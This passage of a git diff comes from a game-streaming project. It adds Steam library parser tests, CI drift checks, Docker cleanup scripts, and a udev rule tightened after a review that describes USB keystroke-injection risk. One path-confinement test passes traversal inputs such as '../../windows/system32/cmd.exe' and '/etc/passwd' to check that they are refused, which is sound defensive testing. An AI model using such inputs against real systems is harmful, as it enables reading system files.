pulls every library folder and unescapes Windows separators", () => { + const vdf = ` +"libraryfolders" +{ + "0" + { + "path" "/home/u/.local/share/Steam" + "label" "" + } + "1" + { + "path" "D:\\\\SteamLibrary" + } +}`; + expect(vdfPaths(vdf)).toEqual([ + "/home/u/.local/share/Steam", + "D:\\SteamLibrary", + ]); + }); + + test("parseAppManifest reads the flat fields it needs", () => { + const acf = `"AppState" +{ + "appid" "570" + "name" "Dota 2" + "installdir" "dota 2 beta" +}`; + expect(parseAppManifest(acf)).toEqual({ + appid: 570, + name: "Dota 2", + installdir: "dota 2 beta", + }); + // A manifest missing the essentials is not a title. + expect(parseAppManifest('"AppState" { "name" "x" }')).toBeUndefined(); + }); + + test("isSteamTool keeps runtimes out of a game library", () => { + expect(isSteamTool(228980, "Steamworks Common Redistributables")).toBe(true); + expect(isSteamTool(1628350, "Steam Linux Runtime 3.0 (sniper)")).toBe(true); + expect(isSteamTool(999, "Proton 9.0")).toBe(true); + expect(isSteamTool(999, "SteamVR")).toBe(true); + expect(isSteamTool(570, "Dota 2")).toBe(false); + }); +}); + +describe("binary shortcuts.vdf", () => { + /** Build a binary shortcuts.vdf the way Steam writes one. */ + const buildShortcuts = ( + entries: ReadonlyArray<{ + appid?: number; + appname: string; + exe: string; + hidden?: boolean; + }>, + ): Uint8Array => { + const parts: number[] = []; + const cstr = (s: string) => { + for (const b of new TextEncoder().encode(s)) parts.push(b); + parts.push(0); + }; + const i32 = (v: number) => { + parts.push(v & 0xff, (v >>> 8) & 0xff, (v >>> 16) & 0xff, (v >>> 24) & 0xff); + }; + parts.push(0x00); + cstr("shortcuts"); + entries.forEach((e, i) => { + parts.push(0x00); + cstr(String(i)); + if (e.appid !== undefined) { + parts.push(0x02); + cstr("appid"); + i32(e.appid); + } + parts.push(0x01); + cstr("AppName"); + cstr(e.appname); + parts.push(0x01); + cstr("Exe"); + cstr(e.exe); + parts.push(0x02); + cstr("IsHidden"); + i32(e.hidden ? 1 : 0); + // A nested map the parser must skip wholesale. + parts.push(0x00); + cstr("tags"); + parts.push(0x01); + cstr("0"); + cstr("favourite"); + parts.push(0x08); + parts.push(0x08); // end of this shortcut + }); + parts.push(0x08); // end of shortcuts + parts.push(0x08); // end of document + return new Uint8Array(parts); + }; + + test("parses entries, skips nested maps, and reads the hidden flag", () => { + const buf = buildShortcuts([ + { appid: 2456789012, appname: "My Emulator", exe: '"/usr/bin/foo"' }, + { appid: 3000000000, appname: "Hidden One", exe: '"/x"', hidden: true }, + ]); + const got = parseShortcuts(buf); + expect(got).toHaveLength(2); + expect(got[0]).toMatchObject({ + appid: 2456789012, + name: "My Emulator", + hidden: false, + }); + expect(got[1]).toMatchObject({ name: "Hidden One", hidden: true }); + }); + + test("derives the appid when the file omits it", () => { + const buf = buildShortcuts([{ appname: "No Appid", exe: '"/usr/bin/x"' }]); + const got = parseShortcuts(buf); + expect(got).toHaveLength(1); + // Derived ids always carry the high bit — that is how a shortcut is told apart from a real + // store appid downstream (and why its CDN art fetch is skipped). + expect(got[0].appid & 0x8000_0000).not.toBe(0); + expect(got[0].appid).toBe(shortcutAppId('"/usr/bin/x"', "No Appid")); + }); + + test("is total on a truncated or garbled file", () => { + expect(parseShortcuts(new Uint8Array([]))).toEqual([]); + expect(parseShortcuts(new Uint8Array([0x01, 0x02, 0x03]))).toEqual([]); + const good = buildShortcuts([{ appid: 1, appname: "A", exe: "/a" }]); + // Every truncation of a valid file must return, not throw. + for (let i = 0; i < good.length; i++) { + expect(() => parseShortcuts(good.subarray(0, i))).not.toThrow(); + } + }); + + test("crc32 matches the IEEE check value", () => { + // The canonical CRC-32 check: crc32("123456789") == 0xCBF43926. + expect(crc32(new TextEncoder().encode("123456789"))).toBe(0xcbf4_3926); + }); + + test("shortcutGameId composes the appid and the shortcut marker", () => { + // high dword = appid, low dword = 0x02000000. Handing rungameid the bare 32-bit appid does + // NOT launch a shortcut, which is the entire reason this function exists. + const id = BigInt(shortcutGameId(0x8000_0000)); + expect(id >> 32n).toBe(0x8000_0000n); + expect(id & 0xffff_ffffn).toBe(0x0200_0000n); + // Digits only — it rides the `steam_appid` launch kind, which the host validates as digits. + expect(shortcutGameId(2_456_789_012)).toMatch(/^\d+$/); + }); +}); + +describe("path confinement", () => { + test("confinedJoin refuses anything that could escape the install dir", () => { + const base = path.join(path.sep, "games", "W3"); + expect(confinedJoin(base, "bin/game.exe")).toBe( + path.join(base, "bin", "game.exe"), + ); + expect(confinedJoin(base, "bin\\game.exe")).toBe( + path.join(base, "bin", "game.exe"), + ); + // The three shapes a crafted goggame-*.info would use to point elsewhere. + expect(confinedJoin(base, "../../windows/system32/cmd.exe")).toBeUndefined(); + expect(confinedJoin(base, "/etc/passwd")).toBeUndefined(); + expect(confinedJoin(base, "C:\\Windows\\system32\\cmd.exe")).toBeUndefined(); + expect(confinedJoin(base, "")).toBeUndefined(); + }); +}); + +describe("capped reads", () => { + test("readTextCapped refuses an over-cap file and a missing one", () => { + const dir = tmp("caps"); + const small = path.join(dir, "small.txt"); + fs.writeFileSync(small, "hello"); + expect(readTextCapped(small)).toBe("hello"); + expect(readTextCapped(small, 2)).toBeUndefined(); // over the cap + expect(readTextCapped(path.join(dir, "nope.txt"))).toBeUndefined(); + expect(readTextCapped(dir)).toBeUndefined(); // a directory is not a file + fs.rmSync(dir, { recursive: true, force: true }); + }); +}); + +describe("art locations", () => { + test("steamCdnUrl skips shortcut appids, which have no CDN entry", () => { + expect(steamCdnUrl(570, "header")).toContain("/570/header.jpg"); + expect(steamCdnUrl(570, "portrait")).toContain("library_600x900.jpg"); + // The local cache names the header asset differently from the CDN — pinned because it is + // the single most common way to get Steam art wrong. + expect(steamCdnUrl(570, "header")).not.toContain("library_header"); + expect(steamCdnUrl(0x8000_0001, "header")).toBeUndefined(); + }); + + test("grid filenames follow Steam's per-kind naming", () => { + expect(gridFilenames(570, "portrait")).toEqual(["570p.png", "570p.jpg"]); + expect(gridFilenames(570, "hero")).toEqual(["570_hero.png", "570_hero.jpg"]); + expect(gridFilenames(570, "logo")).toEqual(["570_logo.png", "570_logo.jpg"]); + expect(gridFilenames(570, "header")).toEqual(["570.png", "570.jpg"]); + }); + + test("finds cached and user-override art on disk", () => { + const dir = tmp("art"); + const hashDir = path.join(dir, "appcache", "librarycache", "570", "abc123"); + fs.mkdirSync(hashDir, { recursive: true }); + fs.writeFileSync(path.join(hashDir, "library_600x900.jpg"), "x"); + expect(findLocalArtFile(dir, 570, "portrait")).toBe( + path.join(hashDir, "library_600x900.jpg"), + ); + expect(findLocalArtFile(dir, 570, "hero")).toBeUndefined(); + + const cfg = path.join(dir, "userdata", "1", "config"); + fs.mkdirSync(path.join(cfg, "grid"), { recursive: true }); + fs.writeFileSync(path.join(cfg, "grid", "570p.jpg"), "x"); + expect(findGridArtFile(cfg, 570, "portrait")).toBe( + path.join(cfg, "grid", "570p.jpg"), + ); + fs.rmSync(dir, { recursive: true, force: true }); + }); + + test("fileUrl produces the host's local-art contract shape", () => { + const u = fileUrl(path.join(path.sep, "home", "u", "My Games", "c.jpg")); + expect(u.startsWith("file:///")).toBe(true); + // Spaces are percent-encoded; the separators survive so the host can rebuild the path. + expect(u).toContain("My%20Games"); + expect(u).toContain("/c.jpg"); + }); +}); + +describe("reg.exe output", () => { + test("parses value rows and leaves the key header alone", () => { + const stdout = [ + "", + "HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Valve\\Steam", + " InstallPath REG_SZ C:\\Program Files (x86)\\Steam", + " Language REG_SZ english", + "", + ].join("\r\n"); + expect(parseRegQuery(stdout)).toEqual([ + { + name: "InstallPath", + type: "REG_SZ", + // Data may contain spaces — only the first two columns are split off. + data: "C:\\Program Files (x86)\\Steam", + }, + { name: "Language", type: "REG_SZ", data: "english" }, + ]); + }); +}); + +// The read-only SQLite helper, against a REAL database file. +// +// This exists because its absence shipped a total failure. `openReadOnly` built a +// `file:…?immutable=1` URI but opened it with `{ readonly: true }`, which does not enable SQLite's +// URI filename parsing — so the name was taken literally, the open threw, and `openReadOnly` +// returned `undefined`. Every caller reads that as "this launcher isn't installed", and +// `withReadOnlyDb(...) ?? []` turns it into an empty library. The lutris plugin therefore reported +// "0 games" on every box, forever, while `detect` still said "present" (it only stats the file) — +// and the only thing that caught it was a hand-run parity gate against a live host. +// +// So: assert the helper can actually READ, not merely that it returns something. +describe("openReadOnly", () => { + const withDb = (use: (file: string) => T): T => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "pf-kit-sqlite-")); + const file = path.join(dir, "pga.db"); + const seed = new Database(file); + seed.run("CREATE TABLE games (id INTEGER PRIMARY KEY, name TEXT, installed INT)"); + seed.run("INSERT INTO games (id, name, installed) VALUES (1, 'Ubisoft Connect', 1)"); + seed.close(); + try { + return use(file); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }; + + test("opens a real database and returns its rows", () => { + withDb((file) => { + const db = openReadOnly(file); + expect(db).toBeDefined(); + expect(db?.query("SELECT id, name FROM games WHERE installed = 1")).toEqual([ + { id: 1, name: "Ubisoft Connect" }, + ]); + db?.close(); + }); + }); + + // A path with a space is the realistic URI-encoding case (Flatpak roots, "Program Files"). + test("opens a path that needs URI escaping", () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "pf kit sqlite ")); + const file = path.join(dir, "pga.db"); + const seed = new Database(file); + seed.run("CREATE TABLE games (id INTEGER PRIMARY KEY)"); + seed.run("INSERT INTO games (id) VALUES (7)"); + seed.close(); + try { + expect(openReadOnly(file)?.query("SELECT id FROM games")).toEqual([{ id: 7 }]); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + test("withReadOnlyDb reads, then closes", () => { + withDb((file) => { + expect(withReadOnlyDb(file, (h) => h.query("SELECT name FROM games"))).toEqual([ + { name: "Ubisoft Connect" }, + ]); + }); + }); + + // The "not installed" contract — an absent file is `undefined`, never a throw. + test("absent file is undefined, not an error", () => { + expect(openReadOnly(path.join(os.tmpdir(), "pf-kit-nope", "pga.db"))).toBeUndefined(); + expect(withReadOnlyDb(path.join(os.tmpdir(), "pf-kit-nope", "pga.db"), () => 1)).toBeUndefined(); + }); + + // Schema drift degrades to no rows rather than taking the plugin down. + test("a bad query returns [] rather than throwing", () => { + withDb((file) => { + const db = openReadOnly(file); + expect(db?.query("SELECT missing_column FROM games")).toEqual([]); + db?.close(); + }); + }); +}); diff --git a/plugin-kit/tsconfig.json b/plugin-kit/tsconfig.json index d7ae4c75..9187fe82 100644 --- a/plugin-kit/tsconfig.json +++ b/plugin-kit/tsconfig.json @@ -10,5 +10,8 @@ "noEmit": true, "types": ["bun"] }, - "include": ["src", "test"] + // `examples` is type-checked but never built: tsconfig.build.json narrows to `src`, and + // package.json ships only `dist` + README. A worked example that doesn't compile is worse than + // no example, and these are what the first-party scanner repos are cut from. + "include": ["src", "test", "examples"] } diff --git a/scripts/60-punktfunk.rules b/scripts/60-punktfunk.rules index 1c1c6357..de9a8595 100644 --- a/scripts/60-punktfunk.rules +++ b/scripts/60-punktfunk.rules @@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M # usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only # adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget); # the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files -# are root-only by default while the host runs as a user service — grant the `input` -# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf). -ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'" +# are root-only by default while the host runs as a user service — grant the dedicated +# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf). +# +# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the +# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB +# device — a root-only kernel primitive. Every packaging scriptlet tells the user to +# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group +# people are routinely told to join: a member could present a HID keyboard and inject keystrokes +# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from +# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input +# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group +# that nothing else asks users to join. +ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'" # hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich # feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no diff --git a/scripts/build-xcframework.sh b/scripts/build-xcframework.sh index eb7bbedb..cb5f5ba8 100755 --- a/scripts/build-xcframework.sh +++ b/scripts/build-xcframework.sh @@ -53,6 +53,15 @@ if [[ -z "${DEVELOPER_DIR:-}" ]]; then esac # a non-beta xcode-select default is fine as-is fi +# Hermetic Opus: never let audiopus_sys link a Homebrew libopus via pkg-config. A brew lib +# is built for the RUNNING macOS (its objects carry that minos, tripping the version guard +# below) and only exists for the host arch — the other slice silently falls back to the +# vendored build, so the two slices ship different libopus builds. Force the vendored CMake +# build everywhere; the policy floor keeps modern CMake (≥4) accepting libopus's old +# `cmake_minimum_required`. +export OPUS_NO_PKG_CONFIG=1 +export CMAKE_POLICY_VERSION_MINIMUM=3.5 + # Deployment targets must match Package.swift's platforms, or every consumer link emits # "object file was built for newer macOS version" warnings. for t in "${TARGETS_MAC[@]}"; do diff --git a/scripts/ci/check-bun-nix.sh b/scripts/ci/check-bun-nix.sh new file mode 100755 index 00000000..983a4690 --- /dev/null +++ b/scripts/ci/check-bun-nix.sh @@ -0,0 +1,181 @@ +#!/bin/sh +# Drift gate for the generated bun2nix lockfile expressions (web/bun.nix, sdk/bun.nix). +# +# `bun.nix` is a DERIVED file: bun2nix is a pure function of `bun.lock` (it reads the lockfile text +# and emits one `fetchurl` per package, keyed by the lockfile's own integrity hashes — see +# packaging/nix/README.md). Nothing but the lockfile goes in, so any disagreement between the two +# committed files is drift, and it is always mechanically fixable. +# +# Why this exists: moving the bun packages to bun2nix (1db8f763) removed the *aggregate deps hash* +# that used to go stale, but not the second, quieter way a derived file rots. `bun.nix` regenerates +# only from a local `bun install` that runs lifecycle scripts (web's `postinstall`, the SDK's +# `prepare`). It does NOT regenerate on: +# +# * `bun install --ignore-scripts` — which is what EVERY bun install in CI uses (ci.yml, +# web-screenshots.yml, windows-host.yml, sdk-publish.yml), because web's `postinstall` shells +# out to a `bun` on PATH that CI's portable bun isn't; +# * a merge or rebase — git merges `bun.lock` and `bun.nix` as two unrelated files, so a branch +# that generated `bun.nix` before picking up someone else's lockfile change silently commits +# the pair out of step; +# * a lockfile edited or re-resolved by hand. +# +# That second case is not hypothetical: it is how `web/bun.nix` shipped on main carrying +# brace-expansion@5.0.7 (plus two nested entries the override had already collapsed) while +# `web/bun.lock` said 5.0.8 — the `^5.0.8` override from ec9aa415 landed in the lockfile, the +# bun2nix branch had generated `bun.nix` off the pre-override lock, and the merge kept both. The +# Nix build fetches node_modules strictly from `bun.nix`, so the offline `bun install` inside the +# derivation is then asked for a tarball the store cache does not contain and `punktfunk-web` fails +# to build — with a "package not found" that names npm, not the lockfile that actually drifted. +# +# The gate also enforces the version pin the flake and README only *state*: `bun.nix` has no schema +# stability across bun2nix releases, so the flake input ref and BOTH npm devDependencies must name +# the same exact version. Nothing checked that before; a half-moved pin regenerates the file with a +# generator the flake does not use. +# +# The list of packages to check is read out of packaging/nix/packages.nix (its `bunNix = src + …` +# lines) rather than hardcoded here, so a third bun package is covered the day it is added — and an +# empty list is a hard error, because a gate that checks nothing passes exactly like a clean tree. +# +# Usage: +# scripts/ci/check-bun-nix.sh # verify; non-zero on drift (CI) +# scripts/ci/check-bun-nix.sh --fix # regenerate the committed files in place +set -eu + +FIX=0 +if [ $# -gt 0 ]; then + case "$1" in + --fix) FIX=1 ;; + *) echo "usage: $0 [--fix]" >&2; exit 2 ;; + esac +fi + +ROOT=$(CDPATH='' cd -- "$(dirname -- "$0")/../.." && pwd) +PACKAGES_NIX="$ROOT/packaging/nix/packages.nix" +FLAKE="$ROOT/flake.nix" + +command -v bun >/dev/null 2>&1 || { + echo "check-bun-nix: bun is not on PATH (needed to run bun2nix and to read package.json)" >&2 + exit 1 +} +[ -f "$PACKAGES_NIX" ] || { echo "check-bun-nix: no $PACKAGES_NIX" >&2; exit 1; } +[ -f "$FLAKE" ] || { echo "check-bun-nix: no $FLAKE" >&2; exit 1; } + +TMP=$(mktemp -d) +trap 'rm -rf "$TMP"' EXIT + +# --- the pinned bun2nix version ------------------------------------------------------------------- +# flake.nix: url = "github:nix-community/bun2nix?ref=2.1.2"; +PINNED=$(sed -n 's/.*github:nix-community\/bun2nix?ref=\([^"]*\)".*/\1/p' "$FLAKE" | head -1) +[ -n "$PINNED" ] || { + echo "check-bun-nix: could not read the bun2nix input ref out of $FLAKE." >&2 + echo "Expected a line like: url = \"github:nix-community/bun2nix?ref=\";" >&2 + exit 1 +} + +# --- which packages carry a generated bun.nix ----------------------------------------------------- +# packages.nix: bunDeps = bun2nix.fetchBunDeps { bunNix = src + "/web/bun.nix"; }; +sed -n 's/.*bunNix *= *src *+ *"\/\(.*\)\/bun\.nix".*/\1/p' "$PACKAGES_NIX" | sort -u > "$TMP/roots" +if [ ! -s "$TMP/roots" ]; then + echo "check-bun-nix: found no \`bunNix = src + \"//bun.nix\"\` in $PACKAGES_NIX." >&2 + echo "Either the bun packages were removed (delete this gate) or the expression changed shape" >&2 + echo "and the gate silently stopped checking anything. Not passing vacuously." >&2 + exit 1 +fi + +fail=0 +checked=0 + +# --- version pin agreement ------------------------------------------------------------------------ +# `bun.nix` has no schema stability across bun2nix versions, so the generator the flake builds with +# and the generator `bun install` runs must be the SAME exact version (packaging/nix/README.md). +while read -r dir; do + pkgjson="$ROOT/$dir/package.json" + [ -f "$pkgjson" ] || { echo "check-bun-nix: no $pkgjson" >&2; fail=1; continue; } + dev=$(bun -e "const d=require(process.argv[1]).devDependencies||{};console.log(d.bun2nix??'')" \ + "$pkgjson") + if [ "$dev" != "$PINNED" ]; then + echo "check-bun-nix: bun2nix version pin disagrees." >&2 + echo " flake.nix input ref : $PINNED" >&2 + echo " $dir/package.json devDependency : ${dev:-}" >&2 + echo "These must be the same exact version — bun.nix has no schema stability across" >&2 + echo "bun2nix releases. Move both together, then rerun this script with --fix." >&2 + fail=1 + fi +done < "$TMP/roots" + +# --- the generator --------------------------------------------------------------------------------- +# Prefer an already-installed bun2nix at the pinned version (fast, offline — the dev case); otherwise +# fetch exactly the pinned one, once, into $TMP. Never a floating `bunx bun2nix`: that would generate +# with whatever is newest, and `bun.nix` has no schema stability across releases. +BUN2NIX="" +while read -r dir; do + cand="$ROOT/$dir/node_modules/bun2nix/index.ts" + [ -f "$cand" ] || continue + have=$(bun -e "console.log(require(process.argv[1]).version??'')" \ + "$ROOT/$dir/node_modules/bun2nix/package.json" 2>/dev/null || echo '') + if [ "$have" = "$PINNED" ]; then BUN2NIX="$cand"; break; fi +done < "$TMP/roots" + +if [ -z "$BUN2NIX" ]; then + # Installed in its own scratch dir, so this never touches the repo's lockfiles or .npmrc. + mkdir -p "$TMP/gen" + if ! ( cd "$TMP/gen" && bun add --exact "bun2nix@$PINNED" ) > "$TMP/geninstall.log" 2>&1; then + echo "check-bun-nix: could not install bun2nix@$PINNED" >&2 + cat "$TMP/geninstall.log" >&2 + exit 1 + fi + BUN2NIX="$TMP/gen/node_modules/bun2nix/index.ts" + [ -f "$BUN2NIX" ] || { echo "check-bun-nix: bun2nix@$PINNED installed but $BUN2NIX is absent" >&2; exit 1; } +fi + +run_bun2nix() { # + bun "$BUN2NIX" --lock-file "$1" --output-file "$2" +} + +# --- regenerate + compare --------------------------------------------------------------------------- +while read -r dir; do + lock="$ROOT/$dir/bun.lock" + nix="$ROOT/$dir/bun.nix" + [ -f "$lock" ] || { echo "check-bun-nix: no $lock (packages.nix expects $dir/bun.nix)" >&2; fail=1; continue; } + + out="$TMP/$(echo "$dir" | tr '/' '_').bun.nix" + run_bun2nix "$lock" "$out" >/dev/null + + if [ "$FIX" -eq 1 ]; then + if [ ! -f "$nix" ] || ! cmp -s "$nix" "$out"; then + cp "$out" "$nix" + echo "check-bun-nix: regenerated $dir/bun.nix from $dir/bun.lock" + else + echo "check-bun-nix: $dir/bun.nix already in sync" + fi + checked=$((checked + 1)) + continue + fi + + if [ ! -f "$nix" ]; then + echo "check-bun-nix: $dir/bun.nix is MISSING — packages.nix fetches node_modules from it." >&2 + fail=1 + continue + fi + # Plain files, not `diff <(…) <(…)`: Gitea's runner executes a step's `run:` under `sh`, and + # dash has no process substitution — it would reject the script at parse time and the gate + # would never compare anything (exactly how the shader SPIR-V gate in ci.yml was lost). + if cmp -s "$nix" "$out"; then + echo "check-bun-nix: $dir/bun.nix matches $dir/bun.lock" + else + echo "check-bun-nix: $dir/bun.nix is STALE — it does not match $dir/bun.lock." >&2 + echo "The Nix build fetches node_modules only from bun.nix, so punktfunk's bun packages" >&2 + echo "would build against the wrong dependency set (or fail to fetch it at all)." >&2 + echo "Regenerate and commit it: scripts/ci/check-bun-nix.sh --fix" >&2 + echo "--- diff (committed -> regenerated from bun.lock) ---" >&2 + diff -u "$nix" "$out" >&2 || true + fail=1 + fi + checked=$((checked + 1)) +done < "$TMP/roots" + +[ "$checked" -gt 0 ] || { echo "check-bun-nix: checked nothing — refusing to report success" >&2; exit 1; } +if [ "$fail" -eq 0 ] && [ "$FIX" -eq 0 ]; then + echo "check-bun-nix: $checked bun package(s) in sync, bun2nix pinned at $PINNED everywhere" +fi +exit "$fail" diff --git a/scripts/ci/docker-prune.sh b/scripts/ci/docker-prune.sh index b6b4f4dc..bff35bf6 100644 --- a/scripts/ci/docker-prune.sh +++ b/scripts/ci/docker-prune.sh @@ -1,11 +1,11 @@ #!/usr/bin/env bash -# CI runner disk hygiene — invoked by docker-prune.service (every 30 min). Lives in a real script +# CI runner disk hygiene — invoked by docker-prune.service (every 2 min). Lives in a real script # rather than inline ExecStart= lines because systemd does its OWN $-expansion on ExecStart and # empties shell vars / $(...) before /bin/sh sees them (silently breaking the logic under `|| true`). # -# See docker-prune.service for the full why. The headline: the act_runner cache server's blob store -# lives INSIDE the long-running runner container's writable layer, where `docker prune` can't reach -# it — left alone it grows to tens of GB and fills the disk on its own. +# See docker-prune.service for the full why. Sibling: docker-reclaim.sh (hourly) handles what +# act_runner *leaks* — per-job volumes, stale networks, old build cache. This one handles what +# CI legitimately *produces* and then abandons: per-SHA app tags and the layers they pin. set -u export PATH=/usr/bin:/bin:/usr/local/bin:$PATH @@ -23,11 +23,26 @@ MIN_FREE_GB=${MIN_FREE_GB:-60} # ...or this little is left, whichever t # 2026-07-29: zero burst clears fired in six hours # while deb still died of ENOSPC between polls. -# 1) Routine: trim aged images / build cache / stopped containers. sha- tags aren't -# dangling, so -a is required. until=2h, not 6h: on a busy day every image is younger than six -# hours, so the filter matched nothing and a run reclaimed 0B while `docker system df` was -# reporting 20+ GB reclaimable. Two hours still protects a re-run of the push being worked on. -docker image prune -af --filter until=2h || true +# 1) Routine: retire aged per-SHA app tags, then sweep what untagging released. +# ⚠ NEVER `docker image prune -a` on this tick. `until=` filters on image CREATION time, so a +# CI *base* image (built days ago) that merely has no container this instant counts as "aged" — +# including one a job JUST PULLED whose container does not exist yet. Measured 2026-08-07: +# this tick ran 07:36:09–:29 and a rust job's `docker create` failed at 07:36:29 with +# "No such image: …punktfunk-rust-ci:latest" — three sampled failures that morning, each +# coinciding with a prune run to the second — and every idle base image was re-pulled within +# minutes (4–7 GB each), churning the LAN registry for nothing. +# The only tag debris this host actually accretes is the per-SHA app tags (web/docs — their +# creation time IS the local build time, so a 2h age gate is exact), and a dangling-only prune +# cannot touch a tagged image, so neither step can race a starting job. +now=$(date +%s) +docker images --format '{{.Repository}}:{{.Tag}}' 2>/dev/null | grep ':sha-' | while read -r ref; do + created=$(docker image inspect -f '{{.Created}}' "$ref" 2>/dev/null) || continue + cts=$(date -d "$created" +%s 2>/dev/null) || continue + if [ $((now - cts)) -ge 7200 ]; then + docker rmi "$ref" >/dev/null 2>&1 || true + fi +done +docker image prune -f || true docker builder prune -af --filter until=2h || true docker buildx prune -af --filter until=2h || true docker container prune -f --filter until=2h || true @@ -44,7 +59,9 @@ docker network prune -f --filter until=2h || true # what matters is absolute headroom for three concurrent target/ dirs, not a ratio — and the # ratio moves whenever the disk is resized (it went 123 G -> 175 G on 2026-07-29) while the # headroom three jobs need does not. In-use images are protected by the daemon, so a burst clear -# cannot pull the rug from a live job. +# cannot pull the rug from a live job — but the blanket `-a` prune below CAN race an image that +# is pulled-but-not-yet-created (the section 1 lesson). That narrow window is accepted HERE +# only: when the alternative is every concurrent job dying of ENOSPC, one job re-pulling loses. PCT=$(df --output=pcent / | tr -dc '0-9') FREE_GB=$(df --output=avail -BG / | tr -dc '0-9') # Two flat tests into a flag rather than one multi-line `{ …; } || { …; }` condition: the brace-group diff --git a/scripts/ci/docker-reclaim.service b/scripts/ci/docker-reclaim.service new file mode 100644 index 00000000..7e794407 --- /dev/null +++ b/scripts/ci/docker-reclaim.service @@ -0,0 +1,20 @@ +# Hourly reclaim of Docker resources act_runner LEAKS (per-job volumes, stale networks, old build +# cache). Sibling of docker-prune.service, which handles what CI legitimately produces and then +# abandons; the split matters because this one must stay conservative enough to run while jobs are +# live (dangling-only volumes, age-gated networks) — see docker-reclaim.sh for the full why. +# +# Install: see the header of docker-reclaim.sh (note the installed unit name is +# ci-docker-reclaim.service — existing fleet hosts already run it under that name). + +[Unit] +Description=Reclaim disk leaked by Gitea act_runner (per-job volumes, networks, stale build cache) +Documentation=https://git.unom.io/unom/punktfunk +After=docker.service +Requires=docker.service + +[Service] +Type=oneshot +ExecStart=/usr/local/sbin/ci-docker-reclaim.sh +# Never let maintenance starve a running build. +Nice=10 +IOSchedulingClass=idle diff --git a/scripts/ci/docker-reclaim.sh b/scripts/ci/docker-reclaim.sh new file mode 100644 index 00000000..9b50423f --- /dev/null +++ b/scripts/ci/docker-reclaim.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash +# Reclaim the disk that Gitea act_runner leaks on this host. +# +# Why this exists: act_runner creates a per-job network and a pair of named volumes, and leaks both +# when a job is killed or the runner restarts. By 2026-07-25 that had accumulated 252 unused volumes +# (11.7 GB) and 94 stale networks — some dating to task 5626 while current tasks were ~25233 — and +# concurrent builds then exhausted the disk, failing CI with "No space left on device" at both the +# cargo and the Docker/overlayfs layer. The stale networks are also what once broke the docs deploy +# by exhausting Docker's default address pool and swallowing the DMZ 192.168.50.0/24 range. +# +# This ran on home-runner-1 only, hand-installed; home-runner-2 went without it and by 2026-08-07 +# had re-accumulated 176 leaked volumes (~60 GB) + 22 GB build cache and spent two days failing +# jobs at ENOSPC. Hence checked in: BOTH runner hosts install it, from here. +# +# Install on a runner host (root): +# install -m755 scripts/ci/docker-reclaim.sh /usr/local/sbin/ci-docker-reclaim.sh +# install -m644 scripts/ci/docker-reclaim.service /etc/systemd/system/ci-docker-reclaim.service +# install -m644 scripts/ci/docker-reclaim.timer /etc/systemd/system/ci-docker-reclaim.timer +# systemctl daemon-reload && systemctl enable --now ci-docker-reclaim.timer +# +# Deliberately NOT `docker volume prune -a`: that would also delete any intentional named volume +# that merely has no container attached at the moment the timer fires — e.g. the `docker-mirror` +# pull-through registry cache or the runner cache during a restart — silently destroying it. Only +# volumes act_runner named are removed here. +# +# Also deliberately NOT pruning images: on this host the per-SHA CI tags share all their layers with +# `:latest`, so removing them reclaims nothing while forcing re-pulls. `docker system df`'s +# "RECLAIMABLE" column counts shared layers once per image and overstates the win badly. +# (docker-prune.sh owns tag retirement — age-gated and never `image prune -a`, see its header.) +set -uo pipefail + +log() { echo "ci-docker-reclaim: $*"; } + +before_avail=$(df --output=avail -BM / | tail -1 | tr -dc '0-9') + +# 1. Leaked per-job volumes — dangling AND named by act_runner. In-use volumes are never listed as +# dangling, so a running job's volumes cannot be hit. +mapfile -t stale_vols < <(docker volume ls -qf dangling=true 2>/dev/null | grep '^GITEA-ACTIONS-TASK-' || true) +if ((${#stale_vols[@]})); then + printf '%s\n' "${stale_vols[@]}" | xargs -r docker volume rm >/dev/null 2>&1 + log "removed ${#stale_vols[@]} leaked act_runner volumes" +else + log "no leaked act_runner volumes" +fi + +# 2. Unused networks older than 2h — never touches a live job's network (it is in use), and the age +# filter keeps a just-created one safe against a race with a starting job. +net_out=$(docker network prune -f --filter until=2h 2>&1 | grep -c '^GITEA-ACTIONS' || true) +log "removed ${net_out:-0} stale job networks" + +# 3. Build cache older than 48h. Recent cache is what makes builds fast, so it is kept. +cache_freed=$(docker builder prune -f --filter until=48h 2>&1 | awk '/^Total:/ {print $2}') +log "build cache freed: ${cache_freed:-0B}" + +after_avail=$(df --output=avail -BM / | tail -1 | tr -dc '0-9') +log "avail ${before_avail}M -> ${after_avail}M (reclaimed $((after_avail - before_avail))M)" +df -h / | tail -1 | sed 's/^/ci-docker-reclaim: /' diff --git a/scripts/ci/docker-reclaim.timer b/scripts/ci/docker-reclaim.timer new file mode 100644 index 00000000..ad4edfab --- /dev/null +++ b/scripts/ci/docker-reclaim.timer @@ -0,0 +1,16 @@ +# Hourly is the right cadence for LEAKS: they only accrue when jobs die abnormally, and the +# per-tick docker-prune.timer (every 2 min) already carries the burst guard for genuine +# disk-pressure emergencies. Install: see the header of docker-reclaim.sh. + +[Unit] 